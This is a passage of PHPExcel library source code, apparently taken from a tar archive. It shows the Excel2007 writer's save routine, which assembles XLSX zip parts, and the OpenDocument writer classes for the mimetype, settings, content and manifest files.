HashTable * * @var PHPExcel_HashTable */ private $fontHashTable; /** * Private unique PHPExcel_Style_Borders HashTable * * @var PHPExcel_HashTable */ private $bordersHashTable ; /** * Private unique PHPExcel_Style_NumberFormat HashTable * * @var PHPExcel_HashTable */ private $numFmtHashTable; /** * Private unique PHPExcel_Worksheet_BaseDrawing HashTable * * @var PHPExcel_HashTable */ private $drawingHashTable; /** * Create a new PHPExcel_Writer_Excel2007 * * @param PHPExcel $pPHPExcel */ public function __construct(PHPExcel $pPHPExcel = null) { // Assign PHPExcel $this->setPHPExcel($pPHPExcel); $writerPartsArray = array( 'stringtable' => 'PHPExcel_Writer_Excel2007_StringTable', 'contenttypes' => 'PHPExcel_Writer_Excel2007_ContentTypes', 'docprops' => 'PHPExcel_Writer_Excel2007_DocProps', 'rels' => 'PHPExcel_Writer_Excel2007_Rels', 'theme' => 'PHPExcel_Writer_Excel2007_Theme', 'style' => 'PHPExcel_Writer_Excel2007_Style', 'workbook' => 'PHPExcel_Writer_Excel2007_Workbook', 'worksheet' => 'PHPExcel_Writer_Excel2007_Worksheet', 'drawing' => 'PHPExcel_Writer_Excel2007_Drawing', 'comments' => 'PHPExcel_Writer_Excel2007_Comments', 'chart' => 'PHPExcel_Writer_Excel2007_Chart', 'relsvba' => 'PHPExcel_Writer_Excel2007_RelsVBA', 'relsribbonobjects' => 'PHPExcel_Writer_Excel2007_RelsRibbon' ); // Initialise writer parts // and Assign their parent IWriters foreach ($writerPartsArray as $writer => $class) { $this->writerParts[$writer] = new $class($this); } $hashTablesArray = array( 'stylesConditionalHashTable', 'fillHashTable', 'fontHashTable', 'bordersHashTable', 'numFmtHashTable', 'drawingHashTable', 'styleHashTable' ); // Set HashTable variables foreach ($hashTablesArray as $tableName) { $this->$tableName = new PHPExcel_HashTable(); } } /** * Get writer part * * @param string $pPartName Writer part name * @return PHPExcel_Writer_Excel2007_WriterPart */ public function getWriterPart($pPartName = '') { if ($pPartName != '' && isset($this->writerParts[strtolower($pPartName)])) { return $this->writerParts[strtolower($pPartName)]; } else { return null; } } /** * Save PHPExcel to file * * @param string $pFilename * @throws PHPExcel_Writer_Exception */ public function save($pFilename = null) { if ($this->spreadSheet !== null) { // garbage collect $this->spreadSheet->garbageCollect(); // If $pFilename is php://output or php://stdout, make it a temporary file... $originalFilename = $pFilename; if (strtolower($pFilename) == 'php://output' || strtolower($pFilename) == 'php://stdout') { $pFilename = @tempnam(PHPExcel_Shared_File::sys_get_temp_dir(), 'phpxltmp'); if ($pFilename == '') { $pFilename = $originalFilename; } } $saveDebugLog = PHPExcel_Calculation::getInstance($this->spreadSheet)->getDebugLog()->getWriteDebugLog(); PHPExcel_Calculation::getInstance($this->spreadSheet)->getDebugLog()->setWriteDebugLog(false); $saveDateReturnType = PHPExcel_Calculation_Functions::getReturnDateType(); PHPExcel_Calculation_Functions::setReturnDateType(PHPExcel_Calculation_Functions::RETURNDATE_EXCEL); // Create string lookup table $this->stringTable = array(); for ($i = 0; $i < $this->spreadSheet->getSheetCount(); ++$i) { $this->stringTable = $this->getWriterPart('StringTable')->createStringTable($this->spreadSheet->getSheet($i), $this->stringTable); } // Create styles dictionaries $this->styleHashTable->addFromSource($this->getWriterPart('Style')->allStyles($this->spreadSheet)); $this->stylesConditionalHashTable->addFromSource($this->getWriterPart('Style')->allConditionalStyles($this->spreadSheet)); $this->fillHashTable->addFromSource($this->getWriterPart('Style')->allFills($this->spreadSheet)); $this->fontHashTable->addFromSource($this->getWriterPart('Style')->allFonts($this->spreadSheet)); $this->bordersHashTable->addFromSource($this->getWriterPart('Style')->allBorders($this->spreadSheet)); $this->numFmtHashTable->addFromSource($this->getWriterPart('Style')->allNumberFormats($this->spreadSheet)); // Create drawing dictionary $this->drawingHashTable->addFromSource($this->getWriterPart('Drawing')->allDrawings($this->spreadSheet)); // Create new ZIP file and open it for writing $zipClass = PHPExcel_Settings::getZipClass(); $objZip = new $zipClass(); // Retrieve OVERWRITE and CREATE constants from the instantiated zip class // This method of accessing constant values from a dynamic class should work with all appropriate versions of PHP $ro = new ReflectionObject($objZip); $zipOverWrite = $ro->getConstant('OVERWRITE'); $zipCreate = $ro->getConstant('CREATE'); if (file_exists($pFilename)) { unlink($pFilename); } // Try opening the ZIP file if ($objZip->open($pFilename, $zipOverWrite) !== true) { if ($objZip->open($pFilename, $zipCreate) !== true) { throw new PHPExcel_Writer_Exception("Could not open " . $pFilename . " for writing."); } } // Add [Content_Types].xml to ZIP file $objZip->addFromString('[Content_Types].xml', $this->getWriterPart('ContentTypes')->writeContentTypes($this->spreadSheet, $this->includeCharts)); //if hasMacros, add the vbaProject.bin file, Certificate file(if exists) if ($this->spreadSheet->hasMacros()) { $macrosCode=$this->spreadSheet->getMacrosCode(); if (!is_null($macrosCode)) {// we have the code ? $objZip->addFromString('xl/vbaProject.bin', $macrosCode);//allways in 'xl', allways named vbaProject.bin if ($this->spreadSheet->hasMacrosCertificate()) {//signed macros ? // Yes : add the certificate file and the related rels file $objZip->addFromString('xl/vbaProjectSignature.bin', $this->spreadSheet->getMacrosCertificate()); $objZip->addFromString('xl/_rels/vbaProject.bin.rels', $this->getWriterPart('RelsVBA')->writeVBARelationships($this->spreadSheet)); } } } //a custom UI in this workbook ? add it ("base" xml and additional objects (pictures) and rels) if ($this->spreadSheet->hasRibbon()) { $tmpRibbonTarget=$this->spreadSheet->getRibbonXMLData('target'); $objZip->addFromString($tmpRibbonTarget, $this->spreadSheet->getRibbonXMLData('data')); if ($this->spreadSheet->hasRibbonBinObjects()) { $tmpRootPath=dirname($tmpRibbonTarget).'/'; $ribbonBinObjects=$this->spreadSheet->getRibbonBinObjects('data');//the files to write foreach ($ribbonBinObjects as $aPath => $aContent) { $objZip->addFromString($tmpRootPath.$aPath, $aContent); } //the rels for files $objZip->addFromString($tmpRootPath.'_rels/'.basename($tmpRibbonTarget).'.rels', $this->getWriterPart('RelsRibbonObjects')->writeRibbonRelationships($this->spreadSheet)); } } // Add relationships to ZIP file $objZip->addFromString('_rels/.rels', $this->getWriterPart('Rels')->writeRelationships($this->spreadSheet)); $objZip->addFromString('xl/_rels/workbook.xml.rels', $this->getWriterPart('Rels')->writeWorkbookRelationships($this->spreadSheet)); // Add document properties to ZIP file $objZip->addFromString('docProps/app.xml', $this->getWriterPart('DocProps')->writeDocPropsApp($this->spreadSheet)); $objZip->addFromString('docProps/core.xml', $this->getWriterPart('DocProps')->writeDocPropsCore($this->spreadSheet)); $customPropertiesPart = $this->getWriterPart('DocProps')->writeDocPropsCustom($this->spreadSheet); if ($customPropertiesPart !== null) { $objZip->addFromString('docProps/custom.xml', $customPropertiesPart); } // Add theme to ZIP file $objZip->addFromString('xl/theme/theme1.xml', $this->getWriterPart('Theme')->writeTheme($this->spreadSheet)); // Add string table to ZIP file $objZip->addFromString('xl/sharedStrings.xml', $this->getWriterPart('StringTable')->writeStringTable($this->stringTable)); // Add styles to ZIP file $objZip->addFromString('xl/styles.xml', $this->getWriterPart('Style')->writeStyles($this->spreadSheet)); // Add workbook to ZIP file $objZip->addFromString('xl/workbook.xml', $this->getWriterPart('Workbook')->writeWorkbook($this->spreadSheet, $this->preCalculateFormulas)); $chartCount = 0; // Add worksheets for ($i = 0; $i < $this->spreadSheet->getSheetCount(); ++$i) { $objZip->addFromString('xl/worksheets/sheet' . ($i + 1) . '.xml', $this->getWriterPart('Worksheet')->writeWorksheet($this->spreadSheet->getSheet($i), $this->stringTable, $this->includeCharts)); if ($this->includeCharts) { $charts = $this->spreadSheet->getSheet($i)->getChartCollection(); if (count($charts) > 0) { foreach ($charts as $chart) { $objZip->addFromString('xl/charts/chart' . ($chartCount + 1) . '.xml', $this->getWriterPart('Chart')->writeChart($chart, $this->preCalculateFormulas)); $chartCount++; } } } } $chartRef1 = $chartRef2 = 0; // Add worksheet relationships (drawings, ...) for ($i = 0; $i < $this->spreadSheet->getSheetCount(); ++$i) { // Add relationships $objZip->addFromString('xl/worksheets/_rels/sheet' . ($i + 1) . '.xml.rels', $this->getWriterPart('Rels')->writeWorksheetRelationships($this->spreadSheet->getSheet($i), ($i + 1), $this->includeCharts)); $drawings = $this->spreadSheet->getSheet($i)->getDrawingCollection(); $drawingCount = count($drawings); if ($this->includeCharts) { $chartCount = $this->spreadSheet->getSheet($i)->getChartCount(); } // Add drawing and image relationship parts if (($drawingCount > 0) || ($chartCount > 0)) { // Drawing relationships $objZip->addFromString('xl/drawings/_rels/drawing' . ($i + 1) . '.xml.rels', $this->getWriterPart('Rels')->writeDrawingRelationships($this->spreadSheet->getSheet($i), $chartRef1, $this->includeCharts)); // Drawings $objZip->addFromString('xl/drawings/drawing' . ($i + 1) . '.xml', $this->getWriterPart('Drawing')->writeDrawings($this->spreadSheet->getSheet($i), $chartRef2, $this->includeCharts)); } // Add comment relationship parts if (count($this->spreadSheet->getSheet($i)->getComments()) > 0) { // VML Comments $objZip->addFromString('xl/drawings/vmlDrawing' . ($i + 1) . '.vml', $this->getWriterPart('Comments')->writeVMLComments($this->spreadSheet->getSheet($i))); // Comments $objZip->addFromString('xl/comments' . ($i + 1) . '.xml', $this->getWriterPart('Comments')->writeComments($this->spreadSheet->getSheet($i))); } // Add header/footer relationship parts if (count($this->spreadSheet->getSheet($i)->getHeaderFooter()->getImages()) > 0) { // VML Drawings $objZip->addFromString('xl/drawings/vmlDrawingHF' . ($i + 1) . '.vml', $this->getWriterPart('Drawing')->writeVMLHeaderFooterImages($this->spreadSheet->getSheet($i))); // VML Drawing relationships $objZip->addFromString('xl/drawings/_rels/vmlDrawingHF' . ($i + 1) . '.vml.rels', $this->getWriterPart('Rels')->writeHeaderFooterDrawingRelationships($this->spreadSheet->getSheet($i))); // Media foreach ($this->spreadSheet->getSheet($i)->getHeaderFooter()->getImages() as $image) { $objZip->addFromString('xl/media/' . $image->getIndexedFilename(), file_get_contents($image->getPath())); } } } // Add media for ($i = 0; $i < $this->getDrawingHashTable()->count(); ++$i) { if ($this->getDrawingHashTable()->getByIndex($i) instanceof PHPExcel_Worksheet_Drawing) { $imageContents = null; $imagePath = $this->getDrawingHashTable()->getByIndex($i)->getPath(); if (strpos($imagePath, 'zip://') !== false) { $imagePath = substr($imagePath, 6); $imagePathSplitted = explode('#', $imagePath); $imageZip = new ZipArchive(); $imageZip->open($imagePathSplitted[0]); $imageContents = $imageZip->getFromName($imagePathSplitted[1]); $imageZip->close(); unset($imageZip); } else { $imageContents = file_get_contents($imagePath); } $objZip->addFromString('xl/media/' . str_replace(' ', '_', $this->getDrawingHashTable()->getByIndex($i)->getIndexedFilename()), $imageContents); } elseif ($this->getDrawingHashTable()->getByIndex($i) instanceof PHPExcel_Worksheet_MemoryDrawing) { ob_start(); call_user_func( $this->getDrawingHashTable()->getByIndex($i)->getRenderingFunction(), $this->getDrawingHashTable()->getByIndex($i)->getImageResource() ); $imageContents = ob_get_contents(); ob_end_clean(); $objZip->addFromString('xl/media/' . str_replace(' ', '_', $this->getDrawingHashTable()->getByIndex($i)->getIndexedFilename()), $imageContents); } } PHPExcel_Calculation_Functions::setReturnDateType($saveDateReturnType); PHPExcel_Calculation::getInstance($this->spreadSheet)->getDebugLog()->setWriteDebugLog($saveDebugLog); // Close file if ($objZip->close() === false) { throw new PHPExcel_Writer_Exception("Could not close zip file $pFilename."); } // If a temporary file was used, copy it to the correct file stream if ($originalFilename != $pFilename) { if (copy($pFilename, $originalFilename) === false) { throw new PHPExcel_Writer_Exception("Could not copy temporary zip file $pFilename to $originalFilename."); } @unlink($pFilename); } } else { throw new PHPExcel_Writer_Exception("PHPExcel object unassigned."); } } /** * Get PHPExcel object * * @return PHPExcel * @throws PHPExcel_Writer_Exception */ public function getPHPExcel() { if ($this->spreadSheet !== null) { return $this->spreadSheet; } else { throw new PHPExcel_Writer_Exception("No PHPExcel object assigned."); } } /** * Set PHPExcel object * * @param PHPExcel $pPHPExcel PHPExcel object * @throws PHPExcel_Writer_Exception * @return PHPExcel_Writer_Excel2007 */ public function setPHPExcel(PHPExcel $pPHPExcel = null) { $this->spreadSheet = $pPHPExcel; return $this; } /** * Get string table * * @return string[] */ public function getStringTable() { return $this->stringTable; } /** * Get PHPExcel_Style HashTable * * @return PHPExcel_HashTable */ public function getStyleHashTable() { return $this->styleHashTable; } /** * Get PHPExcel_Style_Conditional HashTable * * @return PHPExcel_HashTable */ public function getStylesConditionalHashTable() { return $this->stylesConditionalHashTable; } /** * Get PHPExcel_Style_Fill HashTable * * @return PHPExcel_HashTable */ public function getFillHashTable() { return $this->fillHashTable; } /** * Get PHPExcel_Style_Font HashTable * * @return PHPExcel_HashTable */ public function getFontHashTable() { return $this->fontHashTable; } /** * Get PHPExcel_Style_Borders HashTable * * @return PHPExcel_HashTable */ public function getBordersHashTable() { return $this->bordersHashTable; } /** * Get PHPExcel_Style_NumberFormat HashTable * * @return PHPExcel_HashTable */ public function getNumFmtHashTable() { return $this->numFmtHashTable; } /** * Get PHPExcel_Worksheet_BaseDrawing HashTable * * @return PHPExcel_HashTable */ public function getDrawingHashTable() { return $this->drawingHashTable; } /** * Get Office2003 compatibility * * @return boolean */ public function getOffice2003Compatibility() { return $this->office2003compatibility; } /** * Set Office2003 compatibility * * @param boolean $pValue Office2003 compatibility? * @return PHPExcel_Writer_Excel2007 */ public function setOffice2003Compatibility($pValue = false) { $this->office2003compatibility = $pValue; return $this; } } PHPExcel/Writer/OpenDocument/Mimetype.php 0000644 00000002745 14642534107 0014350 0 ustar 00 <?php /** * PHPExcel * * PHPExcel_Writer_OpenDocument_Mimetype * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_OpenDocument_Mimetype extends PHPExcel_Writer_OpenDocument_WriterPart { /** * Write mimetype to plain text format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function write(PHPExcel $pPHPExcel = null) { return 'application/vnd.oasis.opendocument.spreadsheet'; } } PHPExcel/Writer/OpenDocument/Settings.php 0000644 00000006411 14642534107 0014351 0 ustar 00 <?php /** * PHPExcel_Writer_OpenDocument_Settings * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_OpenDocument_Settings extends PHPExcel_Writer_OpenDocument_WriterPart { /** * Write settings.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function write(PHPExcel $pPHPExcel = null) { if (!$pPHPExcel) { $pPHPExcel = $this->getParentWriter()->getPHPExcel(); } $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Settings $objWriter->startElement('office:document-settings'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:config', 'urn:oasis:names:tc:opendocument:xmlns:config:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->startElement('office:settings'); $objWriter->startElement('config:config-item-set'); $objWriter->writeAttribute('config:name', 'ooo:view-settings'); $objWriter->startElement('config:config-item-map-indexed'); $objWriter->writeAttribute('config:name', 'Views'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->startElement('config:config-item-set'); $objWriter->writeAttribute('config:name', 'ooo:configuration-settings'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } } PHPExcel/Writer/OpenDocument/Content.php 0000644 00000031206 14642534107 0014163 0 ustar 00 <?php /** * PHPExcel * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ /** * PHPExcel_Writer_OpenDocument_Content * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @author Alexander Pervakov <frost-nzcr4@jagmort.com> */ class PHPExcel_Writer_OpenDocument_Content extends PHPExcel_Writer_OpenDocument_WriterPart { const NUMBER_COLS_REPEATED_MAX = 1024; const NUMBER_ROWS_REPEATED_MAX = 1048576; /** * Write content.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function write(PHPExcel $pPHPExcel = null) { if (!$pPHPExcel) { $pPHPExcel = $this->getParentWriter()->getPHPExcel(); /* @var $pPHPExcel PHPExcel */ } $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Content $objWriter->startElement('office:document-content'); $objWriter->writeAttribute('xmlns:office', 'urn:oasis:names:tc:opendocument:xmlns:office:1.0'); $objWriter->writeAttribute('xmlns:style', 'urn:oasis:names:tc:opendocument:xmlns:style:1.0'); $objWriter->writeAttribute('xmlns:text', 'urn:oasis:names:tc:opendocument:xmlns:text:1.0'); $objWriter->writeAttribute('xmlns:table', 'urn:oasis:names:tc:opendocument:xmlns:table:1.0'); $objWriter->writeAttribute('xmlns:draw', 'urn:oasis:names:tc:opendocument:xmlns:drawing:1.0'); $objWriter->writeAttribute('xmlns:fo', 'urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0'); $objWriter->writeAttribute('xmlns:xlink', 'http://www.w3.org/1999/xlink'); $objWriter->writeAttribute('xmlns:dc', 'http://purl.org/dc/elements/1.1/'); $objWriter->writeAttribute('xmlns:meta', 'urn:oasis:names:tc:opendocument:xmlns:meta:1.0'); $objWriter->writeAttribute('xmlns:number', 'urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0'); $objWriter->writeAttribute('xmlns:presentation', 'urn:oasis:names:tc:opendocument:xmlns:presentation:1.0'); $objWriter->writeAttribute('xmlns:svg', 'urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0'); $objWriter->writeAttribute('xmlns:chart', 'urn:oasis:names:tc:opendocument:xmlns:chart:1.0'); $objWriter->writeAttribute('xmlns:dr3d', 'urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0'); $objWriter->writeAttribute('xmlns:math', 'http://www.w3.org/1998/Math/MathML'); $objWriter->writeAttribute('xmlns:form', 'urn:oasis:names:tc:opendocument:xmlns:form:1.0'); $objWriter->writeAttribute('xmlns:script', 'urn:oasis:names:tc:opendocument:xmlns:script:1.0'); $objWriter->writeAttribute('xmlns:ooo', 'http://openoffice.org/2004/office'); $objWriter->writeAttribute('xmlns:ooow', 'http://openoffice.org/2004/writer'); $objWriter->writeAttribute('xmlns:oooc', 'http://openoffice.org/2004/calc'); $objWriter->writeAttribute('xmlns:dom', 'http://www.w3.org/2001/xml-events'); $objWriter->writeAttribute('xmlns:xforms', 'http://www.w3.org/2002/xforms'); $objWriter->writeAttribute('xmlns:xsd', 'http://www.w3.org/2001/XMLSchema'); $objWriter->writeAttribute('xmlns:xsi', 'http://www.w3.org/2001/XMLSchema-instance'); $objWriter->writeAttribute('xmlns:rpt', 'http://openoffice.org/2005/report'); $objWriter->writeAttribute('xmlns:of', 'urn:oasis:names:tc:opendocument:xmlns:of:1.2'); $objWriter->writeAttribute('xmlns:xhtml', 'http://www.w3.org/1999/xhtml'); $objWriter->writeAttribute('xmlns:grddl', 'http://www.w3.org/2003/g/data-view#'); $objWriter->writeAttribute('xmlns:tableooo', 'http://openoffice.org/2009/table'); $objWriter->writeAttribute('xmlns:field', 'urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0'); $objWriter->writeAttribute('xmlns:formx', 'urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0'); $objWriter->writeAttribute('xmlns:css3t', 'http://www.w3.org/TR/css3-text/'); $objWriter->writeAttribute('office:version', '1.2'); $objWriter->writeElement('office:scripts'); $objWriter->writeElement('office:font-face-decls'); $objWriter->writeElement('office:automatic-styles'); $objWriter->startElement('office:body'); $objWriter->startElement('office:spreadsheet'); $objWriter->writeElement('table:calculation-settings'); $this->writeSheets($objWriter); $objWriter->writeElement('table:named-expressions'); $objWriter->endElement(); $objWriter->endElement(); $objWriter->endElement(); return $objWriter->getData(); } /** * Write sheets * * @param PHPExcel_Shared_XMLWriter $objWriter */ private function writeSheets(PHPExcel_Shared_XMLWriter $objWriter) { $pPHPExcel = $this->getParentWriter()->getPHPExcel(); /* @var $pPHPExcel PHPExcel */ $sheet_count = $pPHPExcel->getSheetCount(); for ($i = 0; $i < $sheet_count; $i++) { //$this->getWriterPart('Worksheet')->writeWorksheet()); $objWriter->startElement('table:table'); $objWriter->writeAttribute('table:name', $pPHPExcel->getSheet($i)->getTitle()); $objWriter->writeElement('office:forms'); $objWriter->startElement('table:table-column'); $objWriter->writeAttribute('table:number-columns-repeated', self::NUMBER_COLS_REPEATED_MAX); $objWriter->endElement(); $this->writeRows($objWriter, $pPHPExcel->getSheet($i)); $objWriter->endElement(); } } /** * Write rows of the specified sheet * * @param PHPExcel_Shared_XMLWriter $objWriter * @param PHPExcel_Worksheet $sheet */ private function writeRows(PHPExcel_Shared_XMLWriter $objWriter, PHPExcel_Worksheet $sheet) { $number_rows_repeated = self::NUMBER_ROWS_REPEATED_MAX; $span_row = 0; $rows = $sheet->getRowIterator(); while ($rows->valid()) { $number_rows_repeated--; $row = $rows->current(); if ($row->getCellIterator()->valid()) { if ($span_row) { $objWriter->startElement('table:table-row'); if ($span_row > 1) { $objWriter->writeAttribute('table:number-rows-repeated', $span_row); } $objWriter->startElement('table:table-cell'); $objWriter->writeAttribute('table:number-columns-repeated', self::NUMBER_COLS_REPEATED_MAX); $objWriter->endElement(); $objWriter->endElement(); $span_row = 0; } $objWriter->startElement('table:table-row'); $this->writeCells($objWriter, $row); $objWriter->endElement(); } else { $span_row++; } $rows->next(); } } /** * Write cells of the specified row * * @param PHPExcel_Shared_XMLWriter $objWriter * @param PHPExcel_Worksheet_Row $row * @throws PHPExcel_Writer_Exception */ private function writeCells(PHPExcel_Shared_XMLWriter $objWriter, PHPExcel_Worksheet_Row $row) { $number_cols_repeated = self::NUMBER_COLS_REPEATED_MAX; $prev_column = -1; $cells = $row->getCellIterator(); while ($cells->valid()) { $cell = $cells->current(); $column = PHPExcel_Cell::columnIndexFromString($cell->getColumn()) - 1; $this->writeCellSpan($objWriter, $column, $prev_column); $objWriter->startElement('table:table-cell'); switch ($cell->getDataType()) { case PHPExcel_Cell_DataType::TYPE_BOOL: $objWriter->writeAttribute('office:value-type', 'boolean'); $objWriter->writeAttribute('office:value', $cell->getValue()); $objWriter->writeElement('text:p', $cell->getValue()); break; case PHPExcel_Cell_DataType::TYPE_ERROR: throw new PHPExcel_Writer_Exception('Writing of error not implemented yet.'); break; case PHPExcel_Cell_DataType::TYPE_FORMULA: try { $formula_value = $cell->getCalculatedValue(); } catch (Exception $e) { $formula_value = $cell->getValue(); } $objWriter->writeAttribute('table:formula', 'of:' . $cell->getValue()); if (is_numeric($formula_value)) { $objWriter->writeAttribute('office:value-type', 'float'); } else { $objWriter->writeAttribute('office:value-type', 'string'); } $objWriter->writeAttribute('office:value', $formula_value); $objWriter->writeElement('text:p', $formula_value); break; case PHPExcel_Cell_DataType::TYPE_INLINE: throw new PHPExcel_Writer_Exception('Writing of inline not implemented yet.'); break; case PHPExcel_Cell_DataType::TYPE_NUMERIC: $objWriter->writeAttribute('office:value-type', 'float'); $objWriter->writeAttribute('office:value', $cell->getValue()); $objWriter->writeElement('text:p', $cell->getValue()); break; case PHPExcel_Cell_DataType::TYPE_STRING: $objWriter->writeAttribute('office:value-type', 'string'); $objWriter->writeElement('text:p', $cell->getValue()); break; } PHPExcel_Writer_OpenDocument_Cell_Comment::write($objWriter, $cell); $objWriter->endElement(); $prev_column = $column; $cells->next(); } $number_cols_repeated = $number_cols_repeated - $prev_column - 1; if ($number_cols_repeated > 0) { if ($number_cols_repeated > 1) { $objWriter->startElement('table:table-cell'); $objWriter->writeAttribute('table:number-columns-repeated', $number_cols_repeated); $objWriter->endElement(); } else { $objWriter->writeElement('table:table-cell'); } } } /** * Write span * * @param PHPExcel_Shared_XMLWriter $objWriter * @param integer $curColumn * @param integer $prevColumn */ private function writeCellSpan(PHPExcel_Shared_XMLWriter $objWriter, $curColumn, $prevColumn) { $diff = $curColumn - $prevColumn - 1; if (1 === $diff) { $objWriter->writeElement('table:table-cell'); } elseif ($diff > 1) { $objWriter->startElement('table:table-cell'); $objWriter->writeAttribute('table:number-columns-repeated', $diff); $objWriter->endElement(); } } } PHPExcel/Writer/OpenDocument/MetaInf.php 0000644 00000007661 14642534107 0014104 0 ustar 00 <?php /** * PHPExcel_Writer_OpenDocument_MetaInf * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Writer_OpenDocument * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Writer_OpenDocument_MetaInf extends PHPExcel_Writer_OpenDocument_WriterPart { /** * Write META-INF/manifest.xml to XML format * * @param PHPExcel $pPHPExcel * @return string XML Output * @throws PHPExcel_Writer_Exception */ public function writeManifest(PHPExcel $pPHPExcel = null) { if (!$pPHPExcel) { $pPHPExcel = $this->getParentWriter()->getPHPExcel(); } $objWriter = null; if ($this->getParentWriter()->getUseDiskCaching()) { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_DISK, $this->getParentWriter()->getDiskCachingDirectory()); } else { $objWriter = new PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8'); // Manifest $objWriter->startElement('manifest:manifest'); $objWriter->writeAttribute('xmlns:manifest', 'urn:oasis:names:tc:opendocument:xmlns:manifest:1.0'); $objWriter->writeAttribute('manifest:version', '1.2'); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', '/'); $objWriter->writeAttribute('manifest:version', '1.2'); $objWriter->writeAttribute('manifest:media-type', 'application/vnd.oasis.opendocument.spreadsheet'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'meta.xml'); $objWriter->writeAttribute('manifest:media-type', 'text/xml'); $objWriter->endElement(); $objWriter->startElement('manifest:file-entry'); $objWriter->writeAttribute('manifest:full-path', 'settings.xml'); $objWriter->writeAttribute('manifest:media-type', 'text/xml'); $objWriter->endElement(); 